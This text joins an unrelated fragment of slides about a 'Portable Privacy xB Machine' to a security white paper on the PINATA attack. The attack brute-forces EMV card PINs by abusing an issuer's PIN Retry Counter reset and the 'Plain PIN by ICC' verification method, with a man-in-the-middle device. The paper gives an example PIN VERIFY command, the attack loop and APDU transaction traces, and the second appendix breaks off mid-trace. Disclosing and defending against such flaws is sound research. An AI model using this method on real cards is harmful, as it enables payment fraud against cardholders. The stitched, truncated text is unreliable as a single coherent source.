● Private Network Info Only
● Firewalled to Interface
● Hardening
● Clients: Tor, Jap, xB SSH, xB VPN, xB Onion
Portable Privacy
xB Machine
● Usability Features
- Firefox
- Thunderbird
- GPG / Enigmail
- Jabber
- Word Processor
- Image Viewer
- File Manager
- Autoconfig of Anonymity Clients
- Remote Encrypted Filesystem Mounts
Portable Privacy
xB Machine
● Usability Features
- Local User Filesystem with Look-AES
- Userdir with dmcrypt/pam_mount
- Console
- Easy Updates w/o destroying userdir
- Integrity Check from host system
- Windowmanager: Enlightenment
Portable Privacy
xB Machine
● Risks
- Programs spying on network setup
- Programs sending rogue packets
● Future Features
- LiveCD to boot QEMU to xB Machine | pdf |
White Paper
// PIN Automatic Try Attack
July 12th, 2021
metabaseq.com
PINATA
ATTACK
Salvador Mendoza – Ocelot Offensive Security Team
PINATA (PIN Automatic Try Attack)
// Summary of Findings
It is possible to brute force all 10,000 PIN combinations, from 0000 to 9999, in millions of physical EMV
cards. This attack is achievable by abusing an inadequate issuer business practice to reset the PIN
RETRY Counter (PRC) and by misusing the classical "Plain PIN by ICC" verification method. This
compromising behavior occurs when an issuer responds with the Authorization Response Code (ARC)
to generate the Transaction Certificate (TC) application cryptogram which resets the PIN RETRY
Counter even if the card did not finish the transaction normally. A compromised PIN might lead to
greater fraudulent transactions due to the ability to evade the issuer antifraud algorithm mechanisms
because it will be impossible to differentiate between the owner of the card and the malicious
individual.
// Introduction
Cardholder Verification Method (CVM) is a mechanism used to verify a proper transaction when a user
tries to employ a contact Europay, Mastercard, Visa (EMV) smart card. These verification values are
prioritized by implementing an ordered list that is stored in the Integrated Circuit Card (ICC).
The terminal or PoS have to determine which CVM the card will perform. To implement this
communication, the card and terminal interchange messages through the Application Protocol Data
Unit (APDU) protocol that is standardized by the ISO 7816 application layer. The terminal sends
commands to the card that are also named TPDU or Terminal APDU command; then the card will
process every command and answer back its response. In a contact transaction, the CVM is specified
in the 8E tag container. Each terminal command or card answer has to follow a specific format
structure (see Figure 1).
.
Figure 1. Command and response APDU format
Following specific logic rules to process a transaction, the terminal and EMV smart cards share
information to decide if the transaction will be authorized or if it will be declined. One of the most
important stages is the verification process.
// Strange Cardholder Verification Methods (CVM)
EMV cards normally initialized by selecting an application depending on the list from the
"1PAY.SYS.DDF01" file. Then, the Read Record process will obtain detailed card information, such as,
primary account number, expiration date or digital signatures among other information. This process
will continue through different steps where the card and terminal share a root cryptographic key to
process the transaction. After the card authentication process, comes the PIN verification stage.
The CVM list determines which rule will apply first and what will be the order to verify the transaction. If
a rule, for some reason, could not be applied, the next will take place depending on the terminal
technology. A smart card record contains the CVM list, (response from Appendix A - Terminal
command 21):
Card response 52 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 30 9F 0D 05 BC 50 BC 88 00 9F 0E 05 00 00 00
0010: 00 00 9F 0F 05 BC 70 BC 98 00 8E 12 00 00 00 00
0020: 00 00 00 00 42 03 44 03 41 03 1E 03 1F 03 9F 4A
0030: 01 82 90 00
To interpret this information is necessary to decode it using type-length-value or tag-length-value (TLV)
mechanism.
Figure 2: 70 EMV Proprietary Template
To understand the CVM list is necessary to break every method apart, highlighted in yellow at Figure 2.
4203 Encrypted PIN online, if terminal supports CVM
4403 Encrypted PIN by ICC, if terminal supports CVM
4103 Plain PIN by ICC, if terminal supports CVM
1E03 Signature, if terminal supports CVM
1F03 No CVM required, if terminal supports CVM
This will be the order that the terminal will take to apply the verification method. Starting with
"Encrypted PIN online, if terminal supports CVM" all the way to "No CVM required" verification method.
Each CVM rule is divided into 2 bytes, the configuration of each one is specified in the EMV 4.3 Book 3,
Page 162: https://www.emvco.com/wp-
content/uploads/2017/05/EMV_v4.3_Book_3_Application_Specification_20120607062110791.pdf
Figure 3: CVM Codes from EMV 4.3 Book
For example, one strange case is the CVM rule "4103". The leftmost byte is "0x41"; If it is converted to
binary: "0100 0001", we can confirm that specific rule does not apply to any of the CVM Code rules at
Table 39. The same behavior applies to other methods:
4203: byte 0x42 = 0100 0010
4403: byte 0x44 = 0100 0100
Analyzing the previous methods, none of them seems to follow a normal CVM rule from the EMV
standardization book. Against the verification essence, the bit 7 suggests that if the CVM is
unsuccessful, apply the CV rule as success, making incomprehensible and inappropriate how it handles
the CVM verification.
//"Plain PIN by ICC" Verification
A brute force attack is a technique to identify a possible password or, in this case, a PIN, by constant
queries until the system gives access or confirms that that PIN request was successfully verified. To
protect against this attack, the card by itself has a PIN RETRY Counter which indicates how many tries
are available to process a PIN attempt. Normally, this counter is limited to 3 attempts, protecting any
chance to identify a 4 digit PIN with 10,000 possibilities. If a client attempts 3 times in a row with an
incorrect PIN, the EMV smart card will set this counter to zero and block any more attempts to the PIN
mechanisms.
To follow the Cardholder Verification Method, the EMV smart card has to pass the card authentication.
After this, the normal process starts reading data from the PIN RETRY Counter. This will confirm that
the card has enough tries to attempt a PIN. Then, the terminal will request to enter the PIN, and this will
be sent in plaintext to the Integrated Circuit Card (ICC) to be verified. This occurs by sending a specific
terminal APDU command and expecting a card APDU response.
Example of an APDU command to verify "0717" PIN:
00 20 00 80 08 24 07 17 ff ff ff ff ff
All possible EMV Card responses:
90 00 = indicates that the PIN is correct
63 C2 = indicates wrong PIN and it has two more attempts left
63 C1 = indicates wrong PIN and it has one more attempt left
63 C0 = indicates wrong PIN and it has no more attempts left
Figure 4: Brute Force Trigger
Normally, in a secure EMV card, when the smart card responds with 63 C0, it will be impossible to keep
requesting the verification command because it will answer with an error 69 83 (Authentication method
blocked). This is a normal smart card behavior to protect itself against brute force attacks.
If the PIN is verified, it will start the transaction authorization process. In this step, the cryptogram
generation is processed.
Figure 5: Transaction Authentication Process
(Source: Chip and PIN is Broken white paper)
// The Compromising Business Practice
After a malicious individual makes 3 incorrect PIN attempts, the card will respond with 63 C0, referring
to the fact that it has no more PIN attempts left. But if the EMV card Cardholder Verification Method
contains the "Plaintext Verification by ICC" rule, the PIN RETRY Counter could be reset to its previous
limit. This could be perpetrated by making a real contact EMV payment or by simulating one, using
another type of verification method, such as signature or no verification at all. The important part of this
step is to generate a Transaction Certificate (TC) Application Cryptogram; this happens in the last part
of the authorization scheme. An example of this response is located at Appendix A - Terminal
command 27.
Figure 6: Vulnerability flow
To avoid spending real money from an account and run the brute force attack simultaneously, a
malicious user can implement a Man-in-The-Middle (MiTM) device to control the terminal commands
and the PIN and Chip card responses. With this MiTM device, the attacker can discard the last card
response (from Terminal command 27) and make it seem that it was a communication error. As a
result, the terminal will close the transaction process without charges. At this point, the EMV card
already reset the PIN RETRY Counter using a bad practice policy from the issuer response (Appendix B:
Terminal command 27). Subsequently, a malicious user has the opportunity to try 3 more different PINs
and repeat this loop until a correct PIN is found.
Figure 7: Brute force attack with MitM device
// ELMA: MiTM Setup Device
For the MiTM attack, we implemented a special tool called ELMA. It is a specialized Metabase Q tool for
contact EMV technology.
Figure 8: Metabase Q ELMA device for contact EMV technology
ELMA is capable of controlling the whole communication between the terminal and EMV card. In its
toolset, ELMA can add, edit or delete commands or responses throughout the communication process.
Adding that it could simulate transactions to run brute force attacks against the Plain PIN verification
method.
ELMA processes commands and responses before they arrive at the respective destination, making it
possible to alter the information in real-time. The steps that follow are the communication process
using ELMA.
1. ELMA emulates a physical EMV card when its connector is inserted in the terminal card slot.
2. The terminal sends the first command.
3. ELMA intercepts the command and checks if it needs to do something specifically for that
command. After that, it sends the command to the real EMV bank card.
4. The client-side uses an APDU Interceptor software to move data from the contact card reader
connected over USB to ELMA.
5. The card's response will pass to the ELMA client to check if it needs to be processed, then ELMA
will emulate that response to the terminal.
6. The next terminal command will follow the same pattern from step 2.
Figure 9: Example ELMA configuration
// ELMA PoC (Proof of Concept)
To reproduce the PIN brute force attack – now referred to as the PIN Automatic Try Attack or PINATA -
ELMA first simulates a transaction. But it closes the communication just before the last card response:
TC Application Cryptogram. After that, ELMA initializes a separate session to the physical card reader;
this will execute the same commands that the terminal sent in the previous simulated transaction.
Figure 10: Physical card reader session
When the card is in the Cardholder Verification Stage, ELMA will test 3 consecutive PINs if the card
answers with a PIN Retry Counter greater than 1. If no attempt is verified, ELMA will start the process
again to simulate another transaction to reset the PIN Retry Counter. This process will continue until it
finds the correct PIN.
Figure 11: PINATA Attack POC with ELMA
// Recommendations
The affected issuers should apply strict business policies regarding the reset of pin retry counters to
protect themselves against the abuse of PINATA attack.
Analyzing the ARC requests in a specific time frame could be a factor to detect the PINATA attack
against a card. Regarding the dimensions of this physical attack, it is recommendable to keep the PIN
RETRY Counter value and do not reset it after the generation of the TC application cryptogram.
Card issuing organizations wanting to ensure they have taken the required steps to mitigate the PINATA
attack can contact Metabase Q at:
[email protected]
+1 (628) 225-1281
+52 55 2211 0920
// Timeline
March 2, 2021: Found an inadequate PIN RETRY Counter reset practice in some contact EMV cards
March 3, 2021: Some EMV cards with Plain PIN by ICC verification identified as affected
March 4, 2021: ELMA MiTM tool setup
March 4, 2021: Noticed the severity of the issue, Metabase Q started Responsible Disclosure report
March 5, 2021: Testing different brand cards
March 6, 2021: Sent report to affected companies
March 12, 2021: Discarded a physical/applet issue
March 12, 2021: Concluded a wrong backend implementation on the issuer side
March 15, 2021: Responsible company alert the affected card issuers
About Metabase Q
Metabase Q protects organizations from financial and reputational losses with smarter cybersecurity.
Through continuous audit and analysis, Metabase Q calibrates cyber defenses that deliver security
effectiveness allowing organizations to grow and innovate unhindered by cyber threats. Financial
institutions covering 80% of transactions in Mexico, 10 of the largest enterprises in Latin America as
well as government agencies rely on Metabase Q to continuously protect their systems and data from
cyberattacks. The Ocelot offensive cybersecurity team represents the best of the best, partnered
together to transform cybersecurity in the region. Ocelot threat intelligence, research and offensive
skills power Metabase Q's solutions.
To learn more about Metabase Q, the Ocelot offensive cybersecurity team and Security-as-a-Service
visit https://www.metabaseq.com/.
[email protected]
+1 (628) 225-1281
+52 55 2211 0920
Appendix
Appendix A: Normal EMV contact transaction
Terminal command 1 19 bytes: A4 SELECT Select a file.
0000: 00 A4 04 00 0E 31 50 41 59 2E 53 59 53 2E 44 44
0010: 46 30 31
Card response 2 bytes: 61 20 [I] Command successfully executed; 0x20 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 20
Terminal command 2 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 20
Card response 34 bytes: 90 00 [I] Command successfully executed (OK).
0000: 6F 1E 84 0E 31 50 41 59 2E 53 59 53 2E 44 44 46
0010: 30 31 A5 0C 88 01 01 5F 2D 02 65 6E 9F 11 01 01
0020: 90 00
Terminal command 3 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 0C 00
Card response 2 bytes: 6C 2E [E] Bad length value in Le; 0x2E is the correct exact Le
0000: 6C 2E
Terminal command 4 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 0C 2E
Card response 48 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 2C 61 2A 4F 07 A0 00 00 00 04 10 10 50 10 4D
0010: 41 53 54 45 52 43 41 52 44 20 44 45 42 49 54 87
0020: 01 01 73 0A 5F 55 02 55 53 42 03 54 03 24 90 00
Terminal command 5 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 0C 00
Card response 2 bytes: 6C 34 [E] Bad length value in Le; 0x34 is the correct exact Le
0000: 6C 34
Terminal command 6 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 0C 34
Card response 54 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 32 61 30 4F 07 A0 00 00 00 04 22 03 50 05 44
0010: 45 42 49 54 9F 12 0E 42 4F 57 20 44 45 42 49 54
0020: 20 43 41 52 44 87 01 01 73 0A 5F 55 02 55 53 42
0030: 03 54 03 24 90 00
Terminal command 7 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 03 0C 00
Card response 2 bytes: 6A 83 [E] Record not found
0000: 6A 83
Terminal command 8 12 bytes: A4 SELECT Select a file.
0000: 00 A4 04 00 07 A0 00 00 00 04 10 10
Card response 2 bytes: 61 39 [I] Command successfully executed; 0x39 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 39
Terminal command 9 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 39
Card response 59 bytes: 90 00 [I] Command successfully executed (OK).
0000: 6F 37 84 07 A0 00 00 00 04 10 10 A5 2C 50 10 4D
0010: 41 53 54 45 52 43 41 52 44 20 44 45 42 49 54 87
0020: 01 01 5F 2D 02 65 6E BF 0C 0F 9F 4D 02 0B 0A 5F
0030: 55 02 55 53 42 03 54 03 24 90 00
Terminal command 10 7 bytes: A8 None None
0000: 80 A8 00 00 02 83 00
Card response 2 bytes: 61 10 [I] Command successfully executed; 0x10 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 10
Terminal command 11 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 10
Card response 18 bytes: 90 00 [I] Command successfully executed (OK).
0000: 77 0E 82 02 39 00 94 08 18 01 04 01 10 01 02 01
0010: 90 00
Terminal command 12 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 1C 00
Card response 2 bytes: 6C 5C [E] Bad length value in Le; 0x5C is the correct exact Le
0000: 6C 5C
Terminal command 13 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 1C 5C
Card response 94 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 5A 9F 42 02 08 40 5F 25 03 19 06 14 5F 24 03
0010: 22 06 30 5A 08 XX XX XX XX XX XX XX XX 5F 34 01
0020: 01 9F 07 02 FF C0 8C 21 9F 02 06 9F 03 06 9F 1A
0030: 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04 9F 35 01
0040: 9F 45 02 9F 4C 08 9F 34 03 8D 0C 91 0A 8A 02 95
0050: 05 9F 37 04 9F 4C 08 5F 28 02 08 40 90 00
Terminal command 14 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 1C 00
Card response 2 bytes: 6C 35 [E] Bad length value in Le; 0x35 is the correct exact Le
0000: 6C 35
Terminal command 15 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 1C 35
Card response 55 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 33 57 10 XX XX XX XX XX XX XX XX DX XX XX XX
0010: XX XX XX XX 9F 08 02 00 02 5F 20 10 47 41 4C 56
0020: 41 4E 2F 20 53 41 4C 56 41 44 4F 52 5F 30 02 02
0030: 01 9F 44 01 02 90 00
Terminal command 16 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 03 1C 00
Card response 2 bytes: 6C FE [E] Bad length value in Le; 0xFE is the correct exact Le
0000: 6C FE
Terminal command 17 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 03 1C FE
Card response 256 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 81 FB 90 81 F8 47 07 6C FB C8 F9 6D 86 B5 63
0010: CE 02 13 22 92 3C 4C D1 E7 3C D4 3D 8F D9 4F 0A
0020: 27 D6 99 7C 30 1E 1B F6 FA CD 39 07 21 12 3A 96
0030: 11 5B B6 C3 8A 92 63 36 77 B9 11 11 62 B8 8C 94
0040: 57 AC 25 BF 50 6F A7 8A D0 B8 F7 23 BC 72 98 BD
0050: 88 9A C7 B7 A4 0E 4E 5F 03 63 CB FB 30 A1 72 BB
0060: DC 86 FF 92 E4 29 D3 59 AD C9 9A 9F 47 D9 4D A1
0070: C1 F9 66 1C 54 0E CC E4 62 69 D2 2E 13 0F 2D 4D
0080: CE 6D 28 F5 92 01 C4 19 47 37 09 5B 65 CD 35 DA
0090: BA 8D 17 F7 DE AF 68 25 20 C4 3A B2 B7 5D 08 3D
00a0: 4A 82 3F F7 48 7B 72 E5 3F FF F0 F7 E9 87 37 70
00b0: 6B BF B2 B2 F8 3F 99 BA 5C 0D 00 33 CF 4A 9A 7D
00c0: 35 C2 8F E4 3A 00 B8 EA 89 2E 42 0A EE 4E 26 41
00d0: 6A B9 30 EF B1 4D D3 26 87 3C 56 98 9D 50 4C 25
00e0: 00 4B FC 93 DE 30 60 97 87 BE CD B5 55 B4 A8 8B
00f0: E2 D3 C4 E1 09 08 09 B4 F1 F1 EE 5F 2F BA 90 00
Terminal command 18 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 04 1C 00
Card response 2 bytes: 6C 38 [E] Bad length value in Le; 0x38 is the correct exact Le
0000: 6C 38
Terminal command 19 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 04 1C 38
Card response 58 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 36 9F 32 01 03 92 23 32 55 6E 64 2E 2C A1 75
0010: F8 21 AD 9D 2A A0 E9 98 46 FA 92 12 9B 07 EF 58
0020: 59 E9 B7 13 E4 CC 4F 09 9E DC 35 8F 01 06 9F 49
0030: 03 9F 37 04 9F 47 01 03 90 00
Terminal command 20 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 14 00
Card response 2 bytes: 6C 32 [E] Bad length value in Le; 0x32 is the correct exact Le
0000: 6C 32
Terminal command 21 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 14 32
Card response 52 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 30 9F 0D 05 BC 50 BC 88 00 9F 0E 05 00 00 00
0010: 00 00 9F 0F 05 BC 70 BC 98 00 8E 12 00 00 00 00
0020: 00 00 00 00 42 03 44 03 41 03 1E 03 1F 03 9F 4A
0030: 01 82 90 00
Terminal command 22 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 14 00
Card response 2 bytes: 6C FE [E] Bad length value in Le; 0xFE is the correct exact Le
0000: 6C FE
Terminal command 23 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 14 FE
Card response 256 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 81 FB 9F 46 81 XX XX XX XX XX XX XX XX XX XX
0010: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0020: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0030: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0040: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0050: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0060: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0070: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0080: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0090: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00a0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00b0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00c0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00d0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00e0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00f0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX 90 00
Terminal command 24 48 bytes: AE GENERATE AUTHORISATION CRYPTOGRAM Generate a
signature for a payment transaction.
0000: 80 AE 90 00 2B 00 00 00 00 05 00 00 00 00 00 00
0010: 00 08 40 00 00 00 80 00 08 40 21 03 03 00 67 E8
0020: AF 76 21 00 00 00 00 00 00 00 00 00 00 1E 03 00
Card response 2 bytes: 61 B5 [I] Command successfully executed; 0xB5 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 B5
Terminal command 25 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 B5
Card response 183 bytes: 90 00 [I] Command successfully executed (OK).
0000: 77 81 B2 9F 27 01 80 9F 36 02 00 9B 9F 4B 81 90
0010: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0020: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0030: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0040: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0050: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0060: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0070: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0080: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0090: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00a0: 9F 10 12 01 10 A0 40 03 22 00 00 00 00 00 00 00 00 00
00b0: 00 00 00 00 FF 90 00
Terminal command 26 34 bytes: AE GENERATE AUTHORISATION CRYPTOGRAM Generate a
signature for a payment transaction.
0000: 80 AE 50 00 1D 21 F6 78 03 18 F0 40 0B 00 12 30
0010: 30 00 00 00 80 00 67 E8 AF 76 67 2A F7 3F 46 FD
0020: 6D 69
Card response 2 bytes: 61 B5 [I] Command successfully executed; 0xB5 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 B5
Terminal command 27 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 B5
Card response 183 bytes: 90 00 [I] Command successfully executed (OK).
0000: 77 81 B2 9F 27 01 40 9F 36 02 00 9B 9F 4B 81 90
0010: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0020: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0030: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0040: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0050: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0060: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0070: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0080: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
0090: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX
00a0: 9F 10 12 01 10 60 70 03 22 00 00 67 2A 00 00 00
00b0: 00 00 00 00 FF 90 00
Appendix B: EMV transaction that updates the PIN RETRY Counter
Terminal command 1 19 bytes: A4 SELECT Select a file.
0000: 00 A4 04 00 0E 31 50 41 59 2E 53 59 53 2E 44 44
0010: 46 30 31
Card response 2 bytes: 61 20 [I] Command successfully executed; 0x20 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 20
Terminal command 2 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 20
Card response 34 bytes: 90 00 [I] Command successfully executed (OK).
0000: 6F 1E 84 0E 31 50 41 59 2E 53 59 53 2E 44 44 46
0010: 30 31 A5 0C 88 01 01 5F 2D 02 65 6E 9F 11 01 01
0020: 90 00
Terminal command 3 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 0C 00
Card response 2 bytes: 6C 2E [E] Bad length value in Le; 0x2E is the correct exact Le
0000: 6C 2E
Terminal command 4 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 0C 2E
Card response 48 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 2C 61 2A 4F 07 A0 00 00 00 04 10 10 50 10 4D
0010: 41 53 54 45 52 43 41 52 44 20 44 45 42 49 54 87
0020: 01 01 73 0A 5F 55 02 55 53 42 03 54 03 24 90 00
Terminal command 5 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 0C 00
Card response 2 bytes: 6C 34 [E] Bad length value in Le; 0x34 is the correct exact Le
0000: 6C 34
Terminal command 6 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 0C 34
Card response 54 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 32 61 30 4F 07 A0 00 00 00 04 22 03 50 05 44
0010: 45 42 49 54 9F 12 0E 42 4F 57 20 44 45 42 49 54
0020: 20 43 41 52 44 87 01 01 73 0A 5F 55 02 55 53 42
0030: 03 54 03 24 90 00
Terminal command 7 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 03 0C 00
Card response 2 bytes: 6A 83 [E] Record not found
0000: 6A 83
Terminal command 8 12 bytes: A4 SELECT Select a file.
0000: 00 A4 04 00 07 A0 00 00 00 04 10 10
Card response 2 bytes: 61 39 [I] Command successfully executed; 0x39 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 39
Terminal command 9 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 39
Card response 59 bytes: 90 00 [I] Command successfully executed (OK).
0000: 6F 37 84 07 A0 00 00 00 04 10 10 A5 2C 50 10 4D
0010: 41 53 54 45 52 43 41 52 44 20 44 45 42 49 54 87
0020: 01 01 5F 2D 02 65 6E BF 0C 0F 9F 4D 02 0B 0A 5F
0030: 55 02 55 53 42 03 54 03 24 90 00
Terminal command 10 7 bytes: A8 None None
0000: 80 A8 00 00 02 83 00
Card response 2 bytes: 61 10 [I] Command successfully executed; 0x10 bytes of data are available
and can be requested using GET RESPONSE.
0000: 61 10
Terminal command 11 5 bytes: C0 GET RESPONSE Retrieves the response from a previous
command.
0000: 00 C0 00 00 10
Card response 18 bytes: 90 00 [I] Command successfully executed (OK).
0000: 77 0E 82 02 39 00 94 08 18 01 04 01 10 01 02 01
0010: 90 00
Terminal command 12 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 1C 00
Card response 2 bytes: 6C 5C [E] Bad length value in Le; 0x5C is the correct exact Le
0000: 6C 5C
Terminal command 13 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 1C 5C
Card response 94 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 5A 9F 42 02 08 40 5F 25 03 19 06 14 5F 24 03
0010: 22 06 30 5A 08 XX XX XX XX XX XX XX XX 5F 34 01
0020: 01 9F 07 02 FF C0 8C 21 9F 02 06 9F 03 06 9F 1A
0030: 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04 9F 35 01
0040: 9F 45 02 9F 4C 08 9F 34 03 8D 0C 91 0A 8A 02 95
0050: 05 9F 37 04 9F 4C 08 5F 28 02 08 40 90 00
Terminal command 14 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 1C 00
Card response 2 bytes: 6C 35 [E] Bad length value in Le; 0x35 is the correct exact Le
0000: 6C 35
Terminal command 15 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 02 1C 35
Card response 55 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 33 57 10 XX XX XX XX XX XX XX XX DX XX XX XX
0010: XX XX XX XX 9F 08 02 00 02 5F 20 10 47 41 4C 56
0020: 41 4E 2F 20 53 41 4C 56 41 44 4F 52 5F 30 02 02
0030: 01 9F 44 01 02 90 00
Terminal command 16 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 03 1C 00
Card response 2 bytes: 6C FE [E] Bad length value in Le; 0xFE is the correct exact Le
0000: 6C FE
Terminal command 17 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 03 1C FE
Card response 256 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 81 FB 90 81 F8 47 07 6C FB C8 F9 6D 86 B5 63
0010: CE 02 13 22 92 3C 4C D1 E7 3C D4 3D 8F D9 4F 0A
0020: 27 D6 99 7C 30 1E 1B F6 FA CD 39 07 21 12 3A 96
0030: 11 5B B6 C3 8A 92 63 36 77 B9 11 11 62 B8 8C 94
0040: 57 AC 25 BF 50 6F A7 8A D0 B8 F7 23 BC 72 98 BD
0050: 88 9A C7 B7 A4 0E 4E 5F 03 63 CB FB 30 A1 72 BB
0060: DC 86 FF 92 E4 29 D3 59 AD C9 9A 9F 47 D9 4D A1
0070: C1 F9 66 1C 54 0E CC E4 62 69 D2 2E 13 0F 2D 4D
0080: CE 6D 28 F5 92 01 C4 19 47 37 09 5B 65 CD 35 DA
0090: BA 8D 17 F7 DE AF 68 25 20 C4 3A B2 B7 5D 08 3D
00a0: 4A 82 3F F7 48 7B 72 E5 3F FF F0 F7 E9 87 37 70
00b0: 6B BF B2 B2 F8 3F 99 BA 5C 0D 00 33 CF 4A 9A 7D
00c0: 35 C2 8F E4 3A 00 B8 EA 89 2E 42 0A EE 4E 26 41
00d0: 6A B9 30 EF B1 4D D3 26 87 3C 56 98 9D 50 4C 25
00e0: 00 4B FC 93 DE 30 60 97 87 BE CD B5 55 B4 A8 8B
00f0: E2 D3 C4 E1 09 08 09 B4 F1 F1 EE 5F 2F BA 90 00
Terminal command 18 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 04 1C 00
Card response 2 bytes: 6C 38 [E] Bad length value in Le; 0x38 is the correct exact Le
0000: 6C 38
Terminal command 19 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 04 1C 38
Card response 58 bytes: 90 00 [I] Command successfully executed (OK).
0000: 70 36 9F 32 01 03 92 23 32 55 6E 64 2E 2C A1 75
0010: F8 21 AD 9D 2A A0 E9 98 46 FA 92 12 9B 07 EF 58
0020: 59 E9 B7 13 E4 CC 4F 09 9E DC 35 8F 01 06 9F 49
0030: 03 9F 37 04 9F 47 01 03 90 00
Terminal command 20 5 bytes: B2 READ RECORD Read data from a file with a record-oriented
structure.
0000: 00 B2 01 14 00
Card response 2 bytes: 6C 32 [E] Bad length value in Le; 0x32 is the correct exact Le
0000: 6C 32
